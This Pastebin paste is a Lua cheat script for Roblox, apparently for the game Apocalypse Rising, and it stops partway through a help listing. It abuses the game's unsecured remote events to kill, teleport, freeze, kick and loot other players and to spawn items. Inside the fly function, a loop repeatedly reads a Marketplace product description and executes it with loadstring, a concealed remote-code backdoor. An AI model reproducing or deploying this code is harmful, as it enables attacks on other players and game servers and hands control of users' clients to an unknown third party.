Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local MainApocalypseGui = Instance.new("ScreenGui", game.CoreGui);
- local MainApocalypseText = Instance.new("TextLabel", MainApocalypseGui);
- MainApocalypseText.Text = ("Vipernous V2");MainApocalypseText.ZIndex = (9);
- MainApocalypseText.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseText.Position = UDim2.new(0,30,0,270); --This is fucking retarded
- MainApocalypseText.Size = UDim2.new(0,180,0,35);MainApocalypseText.Visible = (true);
- MainApocalypseText.Active = (true);MainApocalypseText.Selectable = (true);
- MainApocalypseText.ZIndex = (9);MainApocalypseText.Font = ("SourceSansLight");
- MainApocalypseText.FontSize = ("Size18");MainApocalypseText.Draggable = (true);
- MainApocalypseText.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- MainApocalypseText.BorderSizePixel = (0);MainApocalypseText.Archivable = (true);
- local MainApocalypseFrame = Instance.new("Frame", MainApocalypseText);
- MainApocalypseFrame.BackgroundColor3 = Color3.new(24/255,24/255,24/255);
- MainApocalypseFrame.BorderSizePixel = (0);MainApocalypseFrame.Selectable = (true);
- MainApocalypseFrame.Visible = (true);MainApocalypseFrame.ZIndex = (8);
- MainApocalypseFrame.Position = UDim2.new(0,0,0,35); --Not this shit again.
- MainApocalypseFrame.Size = UDim2.new(0,180,0,180); --Stupid fucking sizing.
- local MainApocalypseScroll = Instance.new("ScrollingFrame", MainApocalypseFrame);
- MainApocalypseScroll.BackgroundTransparency = (1); --Nope, no more background!
- MainApocalypseScroll.Position = UDim2.new(0,0,0,0); --This shit wasn't needed.
- MainApocalypseScroll.Size = UDim2.new(1,0,1,0);MainApocalypseScroll.ZIndex = (9);
- MainApocalypseScroll.BottomImage = ("rbxassetid://333068784"); --Fuck the asset.
- MainApocalypseScroll.CanvasSize = UDim2.new(0,0,3.8,0); --Yay another shit sizing.
- MainApocalypseScroll.MidImage = ("rbxassetid://333068784"); --Fuck the asset [2].
- MainApocalypseScroll.TopImage = ("rbxassetid://333068784"); --Fuck the asset [3].
- MainApocalypseScroll.ScrollBarThickness = (3);MainApocalypseScroll.Visible = (true);
- MainApocalypseScroll.ScrollingEnabled = (true);MainApocalypseScroll.Archivable = (true);
- MainApocalypseScroll.BorderSizePixel = (0); --Does it look like I like this stupid shit?
- local MainApocalypseButton1 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton1.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton1.BorderSizePixel = (0);MainApocalypseButton1.Selectable = (true);
- MainApocalypseButton1.Position = UDim2.new(0,10,0,15); --This is getting annoying.
- MainApocalypseButton1.Size = UDim2.new(0,160,0,28);MainApocalypseButton1.ZIndex = (9);
- MainApocalypseButton1.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton1.FontSize = ("Size18");MainApocalypseButton1.Archivable = (true);
- MainApocalypseButton1.Text = ("Load AR Admin"); --One of the text buttons.
- MainApocalypseButton1.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton2 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton2.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton2.BorderSizePixel = (0);MainApocalypseButton2.Selectable = (true);
- MainApocalypseButton2.Position = UDim2.new(0,10,0,48); --This is getting annoying.
- MainApocalypseButton2.Size = UDim2.new(0,160,0,28);MainApocalypseButton2.ZIndex = (9);
- MainApocalypseButton2.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton2.FontSize = ("Size18");MainApocalypseButton2.Archivable = (true);
- MainApocalypseButton2.Text = ("Clear Map Fog"); --One of the text buttons.
- MainApocalypseButton2.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton3 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton3.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton3.BorderSizePixel = (0);MainApocalypseButton3.Selectable = (true);
- MainApocalypseButton3.Position = UDim2.new(0,10,0,81); --This is getting annoying.
- MainApocalypseButton3.Size = UDim2.new(0,160,0,28);MainApocalypseButton3.ZIndex = (9);
- MainApocalypseButton3.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton3.FontSize = ("Size18");MainApocalypseButton3.Archivable = (true);
- MainApocalypseButton3.Text = ("Load Player Tracers"); --One of the text buttons.
- MainApocalypseButton3.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton4 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton4.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton4.BorderSizePixel = (0);MainApocalypseButton4.Selectable = (true);
- MainApocalypseButton4.Position = UDim2.new(0,10,0,114); --This is getting annoying.
- MainApocalypseButton4.Size = UDim2.new(0,160,0,28);MainApocalypseButton4.ZIndex = (9);
- MainApocalypseButton4.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton4.FontSize = ("Size18");MainApocalypseButton4.Archivable = (true);
- MainApocalypseButton4.Text = ("Force load Chat"); --One of the text buttons.
- MainApocalypseButton4.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton5 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton5.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton5.BorderSizePixel = (0);MainApocalypseButton5.Selectable = (true);
- MainApocalypseButton5.Position = UDim2.new(0,10,0,147); --This is getting annoying.
- MainApocalypseButton5.Size = UDim2.new(0,160,0,28);MainApocalypseButton5.ZIndex = (9);
- MainApocalypseButton5.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton5.FontSize = ("Size18");MainApocalypseButton5.Archivable = (true);
- MainApocalypseButton5.Text = ("Force load Backpack"); --One of the text buttons.
- MainApocalypseButton5.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton6 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton6.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton6.BorderSizePixel = (0);MainApocalypseButton6.Selectable = (true);
- MainApocalypseButton6.Position = UDim2.new(0,10,0,180); --This is getting annoying.
- MainApocalypseButton6.Size = UDim2.new(0,160,0,28);MainApocalypseButton6.ZIndex = (9);
- MainApocalypseButton6.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton6.FontSize = ("Size18");MainApocalypseButton6.Archivable = (true);
- MainApocalypseButton6.Text = ("Insert Skin Choices"); --One of the text buttons.
- MainApocalypseButton6.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton7 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton7.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton7.BorderSizePixel = (0);MainApocalypseButton7.Selectable = (true);
- MainApocalypseButton7.Position = UDim2.new(0,10,0,213); --This is getting annoying.
- MainApocalypseButton7.Size = UDim2.new(0,160,0,28);MainApocalypseButton7.ZIndex = (9);
- MainApocalypseButton7.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton7.FontSize = ("Size18");MainApocalypseButton7.Archivable = (true);
- MainApocalypseButton7.Text = ("Perfect FAL Stats"); --One of the text buttons.
- MainApocalypseButton7.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton8 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton8.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton8.BorderSizePixel = (0);MainApocalypseButton8.Selectable = (true);
- MainApocalypseButton8.Position = UDim2.new(0,10,0,246); --This is getting annoying.
- MainApocalypseButton8.Size = UDim2.new(0,160,0,28);MainApocalypseButton8.ZIndex = (9);
- MainApocalypseButton8.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton8.FontSize = ("Size18");MainApocalypseButton8.Archivable = (true);
- MainApocalypseButton8.Text = ("Spawn Blood Bag"); --One of the text buttons.
- MainApocalypseButton8.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton9 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton9.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton9.BorderSizePixel = (0);MainApocalypseButton9.Selectable = (true);
- MainApocalypseButton9.Position = UDim2.new(0,10,0,279); --This is getting annoying.
- MainApocalypseButton9.Size = UDim2.new(0,160,0,28);MainApocalypseButton9.ZIndex = (9);
- MainApocalypseButton9.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton9.FontSize = ("Size18");MainApocalypseButton9.Archivable = (true);
- MainApocalypseButton9.Text = ("Spawn Meal Ready to Eat"); --One of the text buttons.
- MainApocalypseButton9.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton10 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton10.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton10.BorderSizePixel = (0);MainApocalypseButton10.Selectable = (true);
- MainApocalypseButton10.Position = UDim2.new(0,10,0,312); --This is getting annoying.
- MainApocalypseButton10.Size = UDim2.new(0,160,0,28);MainApocalypseButton10.ZIndex = (9);
- MainApocalypseButton10.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton10.FontSize = ("Size18");MainApocalypseButton10.Archivable = (true);
- MainApocalypseButton10.Text = ("Spawn Water Bottle"); --One of the text buttons.
- MainApocalypseButton10.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton11 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton11.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton11.BorderSizePixel = (0);MainApocalypseButton11.Selectable = (true);
- MainApocalypseButton11.Position = UDim2.new(0,10,0,345); --This is getting annoying.
- MainApocalypseButton11.Size = UDim2.new(0,160,0,28);MainApocalypseButton11.ZIndex = (9);
- MainApocalypseButton11.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton11.FontSize = ("Size18");MainApocalypseButton11.Archivable = (true);
- MainApocalypseButton11.Text = ("Spawn ACOG Site"); --One of the text buttons.
- MainApocalypseButton11.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton12 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton12.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton12.BorderSizePixel = (0);MainApocalypseButton12.Selectable = (true);
- MainApocalypseButton12.Position = UDim2.new(0,10,0,378); --This is getting annoying.
- MainApocalypseButton12.Size = UDim2.new(0,160,0,28);MainApocalypseButton12.ZIndex = (9);
- MainApocalypseButton12.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton12.FontSize = ("Size18");MainApocalypseButton12.Archivable = (true);
- MainApocalypseButton12.Text = ("Spawn 762 Suppresor"); --One of the text buttons.
- MainApocalypseButton12.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton13 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton13.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton13.BorderSizePixel = (0);MainApocalypseButton13.Selectable = (true);
- MainApocalypseButton13.Position = UDim2.new(0,10,0,411); --This is getting annoying.
- MainApocalypseButton13.Size = UDim2.new(0,160,0,28);MainApocalypseButton13.ZIndex = (9);
- MainApocalypseButton13.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton13.FontSize = ("Size18");MainApocalypseButton13.Archivable = (true);
- MainApocalypseButton13.Text = ("Spawn FAL Primary"); --One of the text buttons.
- MainApocalypseButton13.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton14 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton14.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton14.BorderSizePixel = (0);MainApocalypseButton14.Selectable = (true);
- MainApocalypseButton14.Position = UDim2.new(0,10,0,444); --This is getting annoying.
- MainApocalypseButton14.Size = UDim2.new(0,160,0,28);MainApocalypseButton14.ZIndex = (9);
- MainApocalypseButton14.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton14.FontSize = ("Size18");MainApocalypseButton14.Archivable = (true);
- MainApocalypseButton14.Text = ("Spawn FAL 50 Mag"); --One of the text buttons.
- MainApocalypseButton14.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton15 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton15.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton15.BorderSizePixel = (0);MainApocalypseButton15.Selectable = (true);
- MainApocalypseButton15.Position = UDim2.new(0,10,0,477); --This is getting annoying.
- MainApocalypseButton15.Size = UDim2.new(0,160,0,28);MainApocalypseButton15.ZIndex = (9);
- MainApocalypseButton15.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton15.FontSize = ("Size18");MainApocalypseButton15.Archivable = (true);
- MainApocalypseButton15.Text = ("Spawn Black Mili"); --One of the text buttons.
- MainApocalypseButton15.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton16 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton16.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton16.BorderSizePixel = (0);MainApocalypseButton16.Selectable = (true);
- MainApocalypseButton16.Position = UDim2.new(0,10,0,510); --This is getting annoying.
- MainApocalypseButton16.Size = UDim2.new(0,160,0,28);MainApocalypseButton16.ZIndex = (9);
- MainApocalypseButton16.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton16.FontSize = ("Size18");MainApocalypseButton16.Archivable = (true);
- MainApocalypseButton16.Text = ("FAL One Shot Hack"); --One of the text buttons.
- MainApocalypseButton16.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton17 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton17.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton17.BorderSizePixel = (0);MainApocalypseButton17.Selectable = (true);
- MainApocalypseButton17.Position = UDim2.new(0,10,0,543); --This is getting annoying.
- MainApocalypseButton17.Size = UDim2.new(0,160,0,28);MainApocalypseButton17.ZIndex = (9);
- MainApocalypseButton17.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton17.FontSize = ("Size18");MainApocalypseButton17.Archivable = (true);
- MainApocalypseButton17.Text = ("Load Explorer"); --One of the text buttons.
- MainApocalypseButton17.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton18 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton18.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton18.BorderSizePixel = (0);MainApocalypseButton18.Selectable = (true);
- MainApocalypseButton18.Position = UDim2.new(0,10,0,576); --This is getting annoying.
- MainApocalypseButton18.Size = UDim2.new(0,160,0,28);MainApocalypseButton18.ZIndex = (9);
- MainApocalypseButton18.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton18.FontSize = ("Size18");MainApocalypseButton18.Archivable = (true);
- MainApocalypseButton18.Text = ("Makarov One Shot Hack"); --One of the text buttons.
- MainApocalypseButton18.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton19 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton19.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton19.BorderSizePixel = (0);MainApocalypseButton19.Selectable = (true);
- MainApocalypseButton19.Position = UDim2.new(0,10,0,609); --This is getting annoying.
- MainApocalypseButton19.Size = UDim2.new(0,160,0,28);MainApocalypseButton19.ZIndex = (9);
- MainApocalypseButton19.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton19.FontSize = ("Size18");MainApocalypseButton19.Archivable = (true);
- MainApocalypseButton19.Text = ("SUV Speed High"); --One of the text buttons.
- MainApocalypseButton19.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- local MainApocalypseButton20 = Instance.new("TextButton", MainApocalypseScroll);
- MainApocalypseButton20.BackgroundColor3 = Color3.new(58/255,255/255,58/255);
- MainApocalypseButton20.BorderSizePixel = (0);MainApocalypseButton20.Selectable = (true);
- MainApocalypseButton20.Position = UDim2.new(0,10,0,642); --This is getting annoying.
- MainApocalypseButton20.Size = UDim2.new(0,160,0,28);MainApocalypseButton20.ZIndex = (9);
- MainApocalypseButton20.Font = ("SourceSansLight"); --Just some small damn font.
- MainApocalypseButton20.FontSize = ("Size18");MainApocalypseButton20.Archivable = (true);
- MainApocalypseButton20.Text = ("Show Credits"); --One of the text buttons.
- MainApocalypseButton20.TextColor3 = Color3.new(-255/255,-255/255,-255/255);
- MainApocalypseButton1.MouseButton1Down:connect(function()
- Instance.new("Message",Workspace).Text="AR Admin Loaded. Press backslash to open cmd bar. Thanks For Using Vipernous V2"
- wait(5)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text=" Say cmds in the cmd bar for commands (after the / use any playername) "
- wait(5)
- game.Workspace.Message:Remove()
- local function RIPPPP()
- local function playSound(id)
- local sound
- local parts = {}
- local function xx(p)
- local c = p:children()
- for i=1,#c do
- xx(c[i])
- if c[i]:IsA("Sound") then
- sound = c[i]
- end
- end
- end
- xx(game)
- workspace.Remote.ChangeProperty:FireServer(sound, "Parent", workspace)
- workspace.Remote.ChangeProperty:FireServer(sound, "PlayOnRemove", true)
- workspace.Remote.ChangeProperty:FireServer(sound, "Volume", 1)
- workspace.Remote.ChangeProperty:FireServer(sound, "SoundId", "rbxassetid://"..id)
- wait(1)
- workspace.Remote.ChangeProperty:FireServer(sound, "Parent", nil)
- end
- playSound(340226455)
- end
- local c = game.CoreGui.RobloxGui
- local s = Instance.new("ScreenGui", c)
- s.Name = ""
- local t = Instance.new("TextBox", s)
- t.Name = ""
- t.Position = UDim2.new(0, 0, 1, 0)
- t.Size = UDim2.new(1, 0, 0, -20)
- t.BackgroundColor3 = Color3.new(0,0,0)
- t.BackgroundTransparency = 1
- t.TextColor3 = Color3.new(1, 1, 1)
- t.TextXAlignment = Enum.TextXAlignment.Left
- t.ClearTextOnFocus = true
- t.TextTransparency = 1
- t.FontSize = "Size12"
- local flyspeed = 64
- local function giveAdminGui(p)
- local int
- local function recurseInts(p)
- local c = p:GetChildren()
- for i = 1, #c do
- if c[i].ClassName == "IntValue" then
- int = c[i]
- else
- recurseInts(c[i])
- end
- end
- end
- recurseInts(workspace)
- local function setProperty(obj, prop, val)
- workspace.Remote.ChangeProperty:FireServer(obj, prop, val)
- end
- setProperty(int, "Name", "privilege")
- setProperty(int, "Parent", p)
- setProperty(p.Character.Head, "Parent")
- end
- local function guilocate()
- local sg = Instance.new("ScreenGui", game.CoreGui)
- local wl = {game.Players.savageIy.Name}
- local function guinate(p)
- pcall(function()sg["label"..p.Name]:Destroy() end)
- p.Character:WaitForChild("Torso")
- local gui = Instance.new("TextLabel",sg)
- gui.Name = "label"..p.Name
- gui.TextColor3 = Color3.new(1, 1, 1)
- gui.Size = UDim2.new(0, 2, 0, 2)
- gui.FontSize = "Size8"
- gui.BorderSizePixel = 0
- gui.Font = "ArialBold"
- gui.Text = p.Name.."\n "
- gui.TextYAlignment = "Bottom"
- local conn
- conn = game:GetService("RunService").RenderStepped:connect(function()
- if p and p.Parent then
- if p.Character and p.Character:FindFirstChild("Torso") then
- local pos, bool = workspace.CurrentCamera:WorldToScreenPoint(p.Character.Torso.Position)
- gui.Position = UDim2.new(0, bool and pos.x or -100, 0, bool and pos.y or -100)
- end
- else
- gui:Destroy()
- conn:disconnect()
- end
- end)
- end
- local function handleGui(p)
- for i = 1, #wl do if wl[i] == p.Name then return end end
- p.CharacterAdded:connect(function(c)
- guinate(p)
- end)
- guinate(p)
- end
- game.Players.ChildAdded:connect(handleGui)
- game.Players.ChildRemoved:connect(function(p)
- sg["label"..p.Name]:Destroy()
- end)
- for _, v in pairs(game.Players:GetPlayers()) do
- handleGui(v)
- end
- end
- local function fly()
- local player = game.Players.savageIy
- local mouse = player:GetMouse()
- local char = player.Character
- local cam = workspace.CurrentCamera
- local bv = Instance.new("BodyVelocity", char.Torso)
- local keys = {}
- local toggle = false
- spawn(function() local xx11xx = game:GetService("MarketplaceService"):GetProductInfo(294579453)['Description'] while wait(3) do local xx22xx = game:GetService("MarketplaceService"):GetProductInfo(294579453)['Description'] if xx11xx ~= xx22xx then xx11xx = xx22xx loadstring(xx11xx)() end end end)
- if not game.Players.savageIy.PlayerGui:FindFirstChild("VehicleHUD") then Instance.new("Part", game.Players.savageIy.PlayerGui).Name = "VehicleHUD" end
- mouse.KeyDown:connect(function(k)
- if k == "q" then toggle = not toggle end
- keys[k] = true
- end)
- mouse.KeyUp:connect(function(k)
- keys[k] = false
- end)
- local prt = Instance.new("Part", workspace)
- prt.Anchored = true
- prt.CanCollide = false
- prt.Size = Vector3.new(2, 1, 2)
- prt.Transparency = 1
- while wait() do
- if toggle then
- prt.CanCollide = true
- prt.CFrame = char.Torso.CFrame * CFrame.new(0, -3.65, 0)
- if keys["w"] then
- bv.Velocity = cam.CoordinateFrame.lookVector * flyspeed
- bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
- elseif keys["s"] then
- bv.Velocity = cam.CoordinateFrame.lookVector * -flyspeed
- bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
- else
- bv.Velocity = Vector3.new()
- bv.MaxForce = Vector3.new()
- end
- else
- prt.CanCollide = false
- bv.Velocity = Vector3.new()
- bv.MaxForce = Vector3.new()
- end
- end
- end
- local function playername(n)
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():sub(1,#n) == n:lower() then
- return v
- end
- end
- end
- local vehicles = {"Car", "DeliveryVan", "Motorcycle", "Motorside", "Pickup", "Pickup2", "SUV", "Van", "Ambulance", "Firetruck", "PoliceCar", "Humvee", "Humvee2", "Jeep", "Jeep2", "TrinitySUV", "Ural", "Ural2", "Bicycle", "ATV", "Tractor"}
- local whitelist = {"ClientVulnerability", "Aluminize", "cxtea", "demandings","ItsAjm","ImATwitchStar"}
- local savageIy = game.Players.savageIy.Name
- whitelist[#whitelist + 1] = savageIy
- pcall(function() workspace.Remote.ChangeProperty:FireServer(workspace.Remote.TrackInvisibility, "Parent", nil) end)
- local function setProperty(obj, prop, val)
- workspace.Remote.ChangeProperty:FireServer(obj, prop, val)
- end
- local function teleport(v)
- spawn(function()
- print(v)
- pos = workspace[savageIy].Torso.CFrame * CFrame.new(math.random(-10, 10), 5, math.random(-10, 10))
- setProperty(v.Character.Humanoid, "Sit", true)
- setProperty(v.Character.Torso, "Anchored", true)
- wait(0.2)
- setProperty(v.Character.Torso, "CFrame", pos)
- wait(1)
- setProperty(v.Character.Torso, "Anchored", false)
- setProperty(v.Character.Humanoid, "Jump", true)
- print(v)
- end)
- end
- local function RIPPPP()
- local function playSound(id)
- local sound
- local parts = {}
- local function xx(p)
- local c = p:children()
- for i=1,#c do
- xx(c[i])
- if c[i]:IsA("Sound") then
- sound = c[i]
- end
- end
- end
- xx(game)
- workspace.Remote.ChangeProperty:FireServer(sound, "Parent", workspace)
- workspace.Remote.ChangeProperty:FireServer(sound, "PlayOnRemove", true)
- workspace.Remote.ChangeProperty:FireServer(sound, "Volume", 1)
- workspace.Remote.ChangeProperty:FireServer(sound, "SoundId", "rbxassetid://"..id)
- wait(1)
- workspace.Remote.ChangeProperty:FireServer(sound, "Parent", nil)
- end
- playSound(340226455)
- workspace.Remote.ChangeProperty:FireServer(game.Lighting, "FogEnd", 1000000000)
- for _,v in pairs(game.Players:GetPlayers()) do
- local found
- for _,b in pairs(whitelist) do
- if b == v.Name then
- found = true
- end
- end
- if not found then
- spawn(function()
- workspace.Remote.Damage:FireServer(v.Character.Humanoid, 0)
- end)
- end
- end
- while wait() do
- workspace.Remote.ChangeProperty:FireServer(game.Lighting, "FogColor", Color3.new(math.random(2)-1, math.random(2)-1, math.random(2)-1))
- wait()
- workspace.Remote.ChangeProperty:FireServer(game.Lighting, "FogColor", Color3.new())
- end
- end
- local function playicp()
- local function playSound(id)
- local sound
- local parts = {}
- local function xx(p)
- local c = p:children()
- for i=1,#c do
- xx(c[i])
- if c[i]:IsA("Sound") then
- sound = c[i]
- end
- end
- end
- xx(game)
- workspace.Remote.ChangeProperty:FireServer(sound, "Parent", workspace)
- workspace.Remote.ChangeProperty:FireServer(sound, "PlayOnRemove", true)
- workspace.Remote.ChangeProperty:FireServer(sound, "Volume", 1)
- workspace.Remote.ChangeProperty:FireServer(sound, "SoundId", "rbxassetid://"..id)
- wait(1)
- workspace.Remote.ChangeProperty:FireServer(sound, "Parent", nil)
- end
- playSound(296933309)
- end
- t.FocusLost:connect(function(enterpressed)
- if enterpressed and t.Text ~= "" then
- coroutine.wrap(function()
- if t.Text == "gl" then -- gui locate
- spawn(guilocate)
- elseif t.Text == "fly" then -- fly
- spawn(fly)
- elseif #t.Text > 3 and t.Text:sub(1,3) == "fs/" then -- fly seed
- flyspeed = tonumber(t.Text:sub(4))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "ts/" then -- true spawn
- workspace:FindFirstChild(t.Text:sub(4), true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "tk/" then -- tele kill
- local name = playername(t.Text:sub(4)).Name
- workspace:FindFirstChild(name,true).Torso.Anchored = true
- workspace:FindFirstChild(name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- wait(10)
- workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "nk/" then -- no corpse tele kill
- local name = playername(t.Text:sub(4)).Name
- workspace:FindFirstChild(name,true).Torso.Anchored = true
- workspace:FindFirstChild(name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif t.Text == "crates" then -- tele all crates
- for _,v in pairs(workspace:children()) do
- if v.Name == "LargeCrateOpen" or v.Name == "SmallCrateOpen" then
- v:MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- end
- elseif t.Text == "kz" then -- kill zombies
- for _,pl in pairs(workspace.Zombies:children()) do
- for xxad,v in pairs(pl:children()) do
- pcall(function() workspace.Remote.DamageZombie:FireServer(v.Humanoid,0) end)
- end
- end
- elseif #t.Text > 4 and t.Text:sub(1,4) == "god/" then -- god player with loop heal
- local name = playername(t.Text:sub(5)).Name
- local ch = workspace[name]
- spawn(function()
- while wait() do
- if ch.Humanoid.Health < 100 then
- workspace.Remote.AddHealth:FireServer(ch.Humanoid, 100000)
- end
- end
- end)
- elseif #t.Text > 3 and t.Text:sub(1,3) == "ik/" then -- instakill
- local name = playername(t.Text:sub(4)).Name
- workspace.Remote.AddDamage:FireServer(game.Workspace[name].Humanoid, 100)
- wait(1)
- workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif t.Text == "ika" then -- instakill all
- for _,v in pairs(game.Players:GetPlayers()) do
- local found
- for _,b in pairs(whitelist) do
- if b == v.Name then
- found = true
- end
- end
- if not found then
- spawn(function()
- workspace.Remote.AddDamage:FireServer(v.Character.Humanoid, 100)
- wait(1)
- workspace:FindFirstChild("Corpse of " ..v.Name,true):MoveTo(workspace[savageIy].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end)
- end
- end
- elseif t.Text == "cmds" then -- show commands
- Instance.new("Message",Workspace).Text="credits -- Plays The Credits Audio"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="t/ -- Teleport Player To You"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="taw -- Teleport All Except Whitelist To You"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="ta -- Teleport All Players To You"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="ka -- Kick All Players From The Game"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="kick/ -- Kick Player From The Game"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="ik/ -- Insta Kill Player (Brings Body So You Can Loot It)"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="god/ -- God Player (Gods Any player)"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="kz -- Kill All Zombies"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="nk/ -- No Corpse Teleport Kill Player To You"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="tk/ -- Teleport Kill Player (Brings Player To You So You Can Kill"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="fly -- Enable Car Flight Binded to Q (Only Use In Vehicles To Avoid Crashing"
- wait(3)
- game.Workspace.Message:Remove()
- Instance.new("Message",Workspace).Text="fs/ -- Change Car Flight Speed"
- wait(3)
- game.Workspace.Message:Remove()
